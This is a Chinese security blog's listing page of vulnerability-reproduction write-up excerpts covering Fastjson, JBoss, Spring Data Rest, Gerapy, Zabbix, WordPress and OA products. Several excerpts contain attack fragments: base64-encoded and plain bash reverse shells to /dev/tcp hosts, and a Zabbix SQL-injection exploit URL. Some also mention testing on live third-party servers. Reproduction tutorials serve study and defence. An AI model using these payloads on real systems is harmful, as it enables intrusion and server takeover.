[漏洞复现]

企望制造ERP系统RCE漏洞 复现

文章目录企望制造ERP系统RCE漏洞复现0x01前言0x02漏洞描述0x03影响平台0x04漏洞环境0x05漏洞复现1.访问漏洞环境2.构造POC3.复现0x06修复建议企望制造ERP系统RCE漏洞复现
gaynell·2023-09-14 15:21

飞企互联FE业务协作平台ShowImageServlet接口任意文件读取漏洞

二、影响版本飞企互联FE业务协作平台三、资产测绘hunterapp.name=="飞企互联FE6.0+"登录页面四、漏洞复现GET/servlet/ShowImageServlet?
xiaokp7·2023-09-14 13:38

【漏洞复现】通达OA前台任意用户登录漏洞

漏洞简介通达OA（OfficeAnywhere网络智能办公系统）是中国通达公司的一套协同办公自动化软件。通达OA<11.5.200417存在一个认证绕过漏洞，利用该漏洞可以实现任意用户登录。攻击者可以通过构造恶意攻击代码，成功登录系统管理员账户，继而在系统后台上传恶意文件控制网站服务器。影响版本通达OA2017、通达OA11.x-通达OA11.4搭建环境复现环境：通达OA2017下载地址:链接:h
xiaokp7·2023-09-14 13:07

WordPress File Manager ＜ 6.9 RCE（CVE-2020-25213）漏洞复现

WordPress文件管理器插件爆严重0day漏洞影响版本：WordPressFileManager<6.9最开始被坑，找了这个下载链接，卡还下载不了。https://plugins.svn.wordpress.org/wp-file-manager/tags/5.9/后来发现官网有提供下载链接https://wordpress.org/plugins/wp-file-manager/advanc
佛性死磕·2023-09-14 07:26

WordPress wp-file-manager 文件上传漏洞 CVE-2020-25213

1.漏洞复现WordPress6.2插件：wp-file-manager6.0，FileManager(advancedview)–WordPressplugin|WordPress.org（https
红队蓝军·2023-09-14 07:16

帝国EmpireCMS_7.5_SC_UTF8漏洞复现

一、漏洞说明EmpireCMS7.5版本及之前版本在后台备份数据库时，未对数据库表名做验证，通过修改数据库表名二、搭建环境下载地址：http://www.phome.net/download/然后执行：http://127.0.0.1/EmpireCMS_7.5_SC_UTF8/upload/e/install/index.php输入数据库用户名密码设置管理员用户密码后台：http://127.0
wutiangui·2023-09-13 17:30

织梦CMS_V5.7任意用户密码重置漏洞复现

一、漏洞说明织梦内容管理系统（DeDeCMS）以其简单、实用、开源的特点而著名。作为国内最知名的PHP开源网站管理系统，它在多年的发展中取得了显著进步，无论在功能还是易用性方面都有长足的发展。该系统广泛应用于中小型企业门户网站、个人网站、企业和学习网站建设。在中国，DedeCMS被认为是最受欢迎的CMS系统之一。但是，最近发现该系统的一个漏洞位于member/resetpassword.php文件
wutiangui·2023-09-13 17:24

【漏洞复现】泛微e-office OfficeServer2.php 存在任意文件读取漏洞复现

文章目录前言声明一、漏洞描述二、漏洞分析三、漏洞复现四、修复建议前言泛微e-officeOfficeServer2.php存在任意文件读取漏洞，攻击者可通过构造特定Payload获取敏感数据信息。
李火火的安全圈·2023-09-13 10:52

FastJson 漏洞复现

文章目录FastJson漏洞复现1.FastJson1.2.24反序列化导致任意命令执行漏洞1.1漏洞描述1.2漏洞原理1.3漏洞复现1.3.1环境启动1.3.2漏洞检测1.3.3漏洞验证1.4漏洞利用
来日可期x·2023-09-12 20:27

金蝶云星空管理中心反序列化RCE漏洞复现 附POC

文章目录金蝶云星空管理中心反序列化RCE漏洞复现0x01前言0x02漏洞描述0x03影响范围0x04漏洞环境0x05漏洞复现1.访问漏洞环境2.构造POC3.复现4.进行ipconfig命令测试0x06
gaynell·2023-09-12 08:48

Fastjson_1.2.24_unserialize_rce漏洞复现

fastjson_1.2.24_unserialize_rce说明内容漏洞编号CNVD-2017-02833漏洞名称FastJsonobject-反序列化->json1.4.3漏洞检测可以使用BurpSuite扩展fastjsonScan进行漏洞检测下载插件：proxychainswgethttps://github.com/Maskhe/FastjsonScan/releases/downloa
mpig·2023-09-12 07:13

Weblogic（CVE-2017-10271）与 Struts2(s2-045) 反序列化漏洞复现

文章目录Java反序列化漏洞复现weblogic环境搭建漏洞复现Struts2(s2-045)环境搭建漏洞复现**漏洞利用**Java反序列化漏洞复现weblogicWeblogic/bin/bash-cbash-i
mpig·2023-09-12 07:10

TP框架漏洞复现（持续更新）

TP框架漏洞复现tp起手：下载安装，漏洞复现下载安装tp源码在这：https://www.thinkphp.cn/down.html但b站说官方已经不提供源码下载了，要手动composer或者gitcomposer
ththaiai·2023-09-12 06:55

Zabbix登录绕过漏洞复现（CVE-2022-23131）

0x00前言最近在复现zabbix的漏洞（CVE-2022-23131），偶然间拿到了国外某公司zabbix服务器。ZabbixSiaZabbix是拉脱维亚ZabbixSIA（ZabbixSia）公司的一套开源的监控系统。该系统支持网络监控、服务器监控、云监控和应用监控等。ZabbixFrontend存在安全漏洞，该漏洞源于在启用SAMLSSO身份验证（非默认）的情况下，恶意行为者可以修改会话数据
网络安全-生·2023-09-12 02:45

upload-labs/Pass-07 未知后缀名解析漏洞复现

upload-labs/Pass-07漏洞复现页面：我们看到有一个图片上传功能。我们上传一个png文件发现能够成功上传，那其他文件呢，如php文件。
mpig·2023-09-11 18:48

【无标题】

1.靶场搭建typecho2.改名3.连接数据库创建数据库漏洞理由危险函数—魔术方法assert函数_tostring回调函数第一是名字第二是参数可以工作一句话木马漏洞利用对象注入weblogic漏洞复现
爱小刘的猪猪侠·2023-09-11 16:29

智能合约漏洞案例，DEI 漏洞复现

智能合约漏洞案例，DEI漏洞复现1.漏洞简介https://twitter.com/eugenioclrc/status/16545762965070889062.相关地址或交易https://explorer.phalcon.xyz
比特奇点·2023-09-11 16:14

JBoss JMXInvokerServlet 反序列化漏洞复现(CVE-2015-7501)

一、漏洞说明JBoss中/invoker/JMXInvokerServlet路径对外开放，JBoss的jmx组件支持反序列化。JBoss在/invoker/JMXInvokerServlet请求中读取了用户传入的对象，然后我们利用ApacheCommonsCollections中的Gadget执行任意代码。二、影响版本JBossEnterpriseApplicationPlatform6.4.4,
wutiangui·2023-09-11 15:18

JBoss 4.x JBossMQ JMS 反序列化漏洞复现(CVE-2017-7504)

一、影响版本JbossAS4.x及之前版本二、搭建环境三、漏洞验证访问/jbossmq-httpil/HTTPServerILServlet，出现以下页面代表存在漏洞四、漏洞复现1.nc开启监听2.生成序列化数据使用工具
wutiangui·2023-09-11 15:47

Spring Data Rest远程命令执行漏洞复现（CVE-2017-8046）

一、漏洞说明SpringDataRest服务器在处理PATCH请求时存在一个远程代码执行漏洞。攻击者通过构造好的JSON数据来执行任意Java代码二、影响版本SpringDataRESTversions&/dev/tcp/192.168.155.2/11110>&1base64编码后：bash-c{echo,YmFzaCAtaSA+JiAvZGV2L3RjcC8xOTIuMTY4LjE1NS4yL
wutiangui·2023-09-11 15:17

fastjson（反序列化）漏洞复现

fastjson1.漏洞描述FastJson是Alibaba的一款开源Json解析库，可用于将Java对象转换为其Json表示形式，也可以用于将Json字符串转换为等效的Java对象。近几年来FastJson漏洞层出不穷。RCE漏洞的源头：17年FastJson爆出的1.2.24反序列化漏洞。关于FastJson1.2.24反序列化漏洞，简单来说，就是FastJson通过parseObject/p
网安咸鱼1517·2023-09-11 14:46

Apache HTTPD 多后缀名解析漏洞复现

什么是多后缀名解析漏洞加粗样式:多后缀名解析漏洞（MultipleExtensionHandlingVulnerability）指的是一种安全漏洞，发生在某些操作系统或网络服务中的文件扩展名处理机制中。这种漏洞的本质是当文件具有多个后缀名（例如file.txt.php）时，系统或服务可能会错误地解析文件的类型和处理方式。攻击者可以利用这个漏洞来绕过安全检查，欺骗系统或服务执行不应该执行的操作。漏洞
mpig·2023-09-11 07:03

metinfo_6.0.0_file-read 任意文件读取漏洞复现

文章目录metinfo_6.0.0_file-read漏洞描述漏洞等级影响版本漏洞复现基础环境漏洞点漏洞复现深度利用metinfo_6.0.0_file-read版本下载metinfo_6.0.0_file-read
mpig·2023-09-11 06:49

Apache HTTPD （CVE-2017-15715）换行解析漏洞复现

ApacheHTTPD换行解析漏洞CVE-2017-15715漏洞简介组件版本漏洞名称ApacheHTTPD换行解析漏洞（CVE-2017-15715）漏洞描述ApacheHTTPD是一款HTTP服务器，它可以通过mod_php来运行PHP网页。其2.4.0~2.4.29版本中存在一个解析漏洞，在解析PHP时，1.php\x0A将被按照PHP后缀进行解析，导致绕过一些服务器的安全策略。原理apac
mpig·2023-09-11 06:18

组件安全概述

文章目录一、组件安全概述1.1常见组件1.1.1操作系统1.1.2Web容器1.1.3中间件1.1.4数据库1.1.5开发框架1.1.6OA系统1.1.7其他组件1.2漏洞复现1.2.1漏洞复现模板1.2.2
mpig·2023-09-11 06:18

Apache HTTPD 多后缀解析漏洞复现

ApacheHTTPD支持一个文件拥有多个后缀，并为不同后缀执行不同的指令。比如，如下配置文件：AddTypetext/html.htmlAddLanguagezh-CN.cn其给.html后缀增加了media-type，值为text/html；给.cn后缀增加了语言，值为zh-CN。此时，如果用户请求文件index.cn.html，他将返回一个中文的html页面。以上就是Apache多后缀的特性
blackK_YC·2023-09-10 21:14

【漏洞复现】网互联路由器存在密码泄露

漏洞描述蜂网互联-让链接无限可能，灵活的多线分流，强大的策略分流，灵活调度各种软件应用，深度识别系统，各种应用一网打尽，灵活调整优先级，最简单的路由器，简洁易学的配置，打造行业最为简易的高性能路由系统。蜂网互联企业级路由器v4.31系统存在密码泄露漏洞，攻击者通过漏洞可以获取服务器权限，导致服务器失陷。免责声明技术文章仅供参考，任何个人和组织使用网络应当遵守宪法法律，遵守公共秩序，尊重社会公德，不
丢了少年失了心1·2023-09-10 21:03

【漏洞复现】博华网龙设备存在命令执行漏洞

漏洞描述中科博华是一家主营软件产品开发、信息安全产品研发，兼营计算机系统集成与信息安全服务为一体的高科技企业。拥有七项专利和五十余项软件著作权。具有CMMI、商用密码生产和销售许可证、3C认证、系统集成、信息安全服务和涉密资质。该产商多个安全设备的系统存在远程命令执行漏洞，攻击者通过漏洞可以获取服务器权限，导致服务器失陷。免责声明技术文章仅供参考，任何个人和组织使用网络应当遵守宪法法律，遵守公共秩
丢了少年失了心1·2023-09-10 21:33

【漏洞复现】Tenda路由器存在密码泄露

漏洞描述腾达W15E路由器外置4根增强型360°全向天线，苛刻调校到0.01毫米级的零干扰间距，科学独立布局的信号放大器PA，穿墙性能更强劲，覆盖范围更广，在哪都有好信号。该型号的路由器系统存在密码泄露漏洞，攻击者通过漏洞可以获取应用后台权限，导致设备被完全沦陷。免责声明技术文章仅供参考，任何个人和组织使用网络应当遵守宪法法律，遵守公共秩序，尊重社会公德，不得利用网络从事危害国家安全、荣誉和利益，
丢了少年失了心1·2023-09-10 21:32

手机木马远程控制复现

目录目录前言系列文章列表渗透测试基础之永恒之蓝漏洞复现http://t.csdn.cn/EsMu2思维导图1，实验涉及复现环境2,Android模拟器环境配置2.1,首先从官网上下载雷电模拟器2.2,安装雷电模拟器
内心如初·2023-09-10 18:41

gerapy漏洞复现(CVE-2021-43857)

简介Gerapy是一款基于Scrapy、Scrapyd、Django和Vue.js的分布式爬虫管理框架。漏洞描述该漏洞源于程序没有正确清理通过project/id/parse端点传递给Popen的输入。攻击者可利用该漏洞执行任意命令。影响版本Gerapy&/dev/tcp/"""+localhost+"""/"""+localport+"""0>&1'`"}"""#Logintotheapp(ge
echokp·2023-09-10 15:56

PHP-JAVA-Python-JavaScript框架介绍&CVE-2018-1002015/CNVD-2018-24942/2x-rce/Spring命令执行/CVE-2021_21234漏洞复现

框架假如我们要买一台电脑。框架为我们提供了已经装好的电脑，我们只要买回来就能用，但你必须把整个电脑买回来。这样用户用起来自然轻松许多，但是我们这电脑没有软件其他，会导致很多人用一样的电脑，太死板了就个了一个浏览器什么都不能安装，这适合呢你想自定义某个部件将需要修改这个框架，就需要用到库了，而库就如自己组装的电脑。库为我们提供了很多部件，我们需要自己组装，如果某个部件库未提供，我们也可以自己做。库的
无聊的知识·2023-09-10 15:56

CVE-2021-32849 Gerapy远程命令执行漏洞复现

0x01漏洞描述Gerapy是基于Scrapy；Scrapyd；Scrapyd-Client；Scrapyd-API；Django和Vue.js的分布式爬虫管理框架。本文利用的漏洞在Gerapy&/dev/tcp/VPS的IP/VPS的端口0>&1'`"}5.5成功获取root权限0x06漏洞修复厂商已经在0.9.8版本中修复上述漏洞，用户请尽快升级到安全版本。下载地址：https://githu
长白山攻防实验室·2023-09-10 15:55

XSS漏洞及分析·

XSS漏洞和分析知识点模板字符串定时器焦点jquerydom破坏漏洞复现xss测试网站：https://xss.pwnfunction.com/知识点模板字符串模板字面量是用反引号（`）分隔的字面量，允许多行字符串
线粒体2.0·2023-09-10 11:40

渗透测试基础之永恒之蓝漏洞复现

渗透测试+MS17-010(永恒之蓝)的漏洞复现目录渗透测试+MS17-010(永恒之蓝)的漏洞复现目录前言思维导图1,渗透测试1,1,什么是渗透测试?
内心如初·2023-09-10 08:24

ms17-010（永恒之蓝）漏洞复现

本文主要讲解ms17-010（永恒之蓝）漏洞复现，分为四个部分：了解渗透测试流程，使用nmap工具对
Filotimo_·2023-09-10 00:55

漏洞复现【目录集合】

ApacheApache_HTTPD_换行解析漏洞(CVE-2017-15715)Apache_HTTPD_多后缀解析漏洞ApacheHTTPD-未知后缀名解析Apache_HTTP_2.4.50_路径穿越漏洞(CVE-2021-42013)Apache_HTTP_2.4.49_路径穿越漏洞(CVE-2021-41773)Aapache_Tomcat_AJP协议_文件包含漏洞(CVE-2020-1
过期的秋刀鱼-·2023-09-09 23:57

Fastjson反序列化漏洞

文章目录一、概念二、Fastjson-历史漏洞三、漏洞原理四、Fastjson特征五、Fastjson1.2.47漏洞复现1.搭建环境2.漏洞验证（利用dnslog）3.漏洞利用1)Fastjson反弹
wutiangui·2023-09-09 21:09

4.6版本Wordpress漏洞复现

文章目录一、搭建环境二、漏洞复现1.抓包2.准备payload3.发送payload4.检查是否上传成功5.连接payload国外的：Wordpress，Drupal，Joomla，这是国外最流行的3大
wutiangui·2023-09-09 21:09

Nginx 解析漏洞

文章目录Nginx解析漏洞1.空字节漏洞1.1漏洞描述1.2漏洞复现1.3修复方案2.Nginx解析漏洞复现2.1漏洞描述2.2漏洞复现2.3获取GetShell2.4修复方案3.Nginx文件名逻辑漏洞
来日可期x·2023-09-09 16:46

Apache Tomcat文件包含漏洞复现（CVE-2020-1938）

漏洞简介漏洞编号：CVE-2020-1938漏洞详情：ApacheTomcat会开启AJP连接器,方便与其他Web服务器通过AJP协议进行交互。而该漏洞是由于TomcatAJP协议存在缺陷而导致，攻击者可通过构造特定参数读取webapp目录下的任意文件。漏洞影响范围：ApacheTomcat=6ApacheTomcat7<7.0.100ApacheTomcat8<8.5.51ApacheTomca
「已注销」·2023-09-09 16:46

Apache Tomcat 漏洞复现

文章目录ApacheTomcat漏洞复现1.Tomcat7弱密码和后端Getshell漏洞1.1漏洞描述1.2漏洞复现1.3漏洞利用1.3.1jsp小马1.3.2jsp大马1.4安全加固2.AapacheTomcatAJP
来日可期x·2023-09-09 16:43

【漏洞复现】深信服科技EDR平台存在任意用户登录漏洞

漏洞描述深信服终端检测响应平台EDR,通过云网端联动协同、威胁情报共享、多层级响应机制,帮助用户快速处置终端安全问题,构建轻量级、智能化、响应快的下一代终端安全系统。该EDR系统存在任意用户登录漏洞，攻击者通过漏洞可以登录系统后台并获取服务器的敏感信息。免责声明技术文章仅供参考，任何个人和组织使用网络应当遵守宪法法律，遵守公共秩序，尊重社会公德，不得利用网络从事危害国家安全、荣誉和利益，未经授权请
丢了少年失了心1·2023-09-09 10:45

服务端请求伪造（SSRF）及漏洞复现

服务端请求伪造1.概述服务器会根据用户提交的URL发送一个HTTP请求。使用用户指定的URL，Web应用可以获取图片或者文件资源等。典型的例子是百度识图功能。如果没有对用户提交URL和远端服务器所返回的信息做合适的验证或过滤，就有可能存在“请求伪造”的缺陷。“请求伪造”，顾名思义，攻击者伪造正常的请求，以达到攻击的目的。如果“请求伪造”发生在服务器端，那这个漏洞就叫做“服务器端请求伪造”，英文名字
网安咸鱼1517·2023-09-09 09:39

渗透测试漏洞原理之---【组件安全】

文章目录1、组件安全概述1.1、常见组件1.1.1、操作系统1.1.2、Web容器1.1.3、中间件1.1.4、数据库1.1.5、开发框架1.1.6、OA系统1.1.7、其他组件1.2、漏洞复现1.2.1
过期的秋刀鱼-·2023-09-09 09:34

组件安全以及漏洞复现

组件安全1.概述A9:2017-使⽤含有已知漏洞的组件A06:2021-VulnerableandOutdatedComponents组件（例如：库、框架和其他软件模块）拥有和应用程序相同的权限。如果应用程序中含有已知漏洞的组件被攻击者利用，可能会造成严重的数据丢失或服务器接管。同时，使用含有已知漏洞的组件的应用程序和API可能会破坏应用程序防御、造成各种攻击并产生严重影响。1.1常见组件1.1.
网安咸鱼1517·2023-09-09 09:03

Jenkins 任意文件读取漏洞复现与分析-CVE-2018-1999002

一、SECURITY-914/CVE-2018-1999002AnarbitraryfilereadvulnerabilityintheStaplerwebframeworkusedbyJenkinsallowedunauthenticateduserstosendcraftedHTTPrequestsreturningthecontentsofanyfileontheJenkinsmasterf
道书简·2023-09-09 07:24

Zabbix 注入到命令执行漏洞复现

在网上找了一个Zabbix站点进行测试，zabbix常用弱口令admin/zabbix或者guest空口令外面注入exphttp://0.0.0.0/jsrpc.php?type=9&method=screen.get×tamp=1471403798083&pageFile=history.php&profileIdx=web.item.graph&profileIdx2=1+or+up
时光与她Time·2023-09-09 07:09

网络安全（黑客）自学

学生们需要通过实践操作来学习网络安全，例如参加CTF比赛、漏洞复现、代码审计等。2.只学习一种技术：网络安全是一个广泛的领域，涉及到许多不同的技术。
网络安全-生·2023-09-09 05:23

穿透防线：泛微E-Office任意文件上传漏洞解析

漏洞复现访问漏洞url：构造漏洞利用payload​POST/general/index/UploadFile.php?
儒道易行·2023-09-08 23:47
上一页 28 29 30 31 32 33 34 35 下一页
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他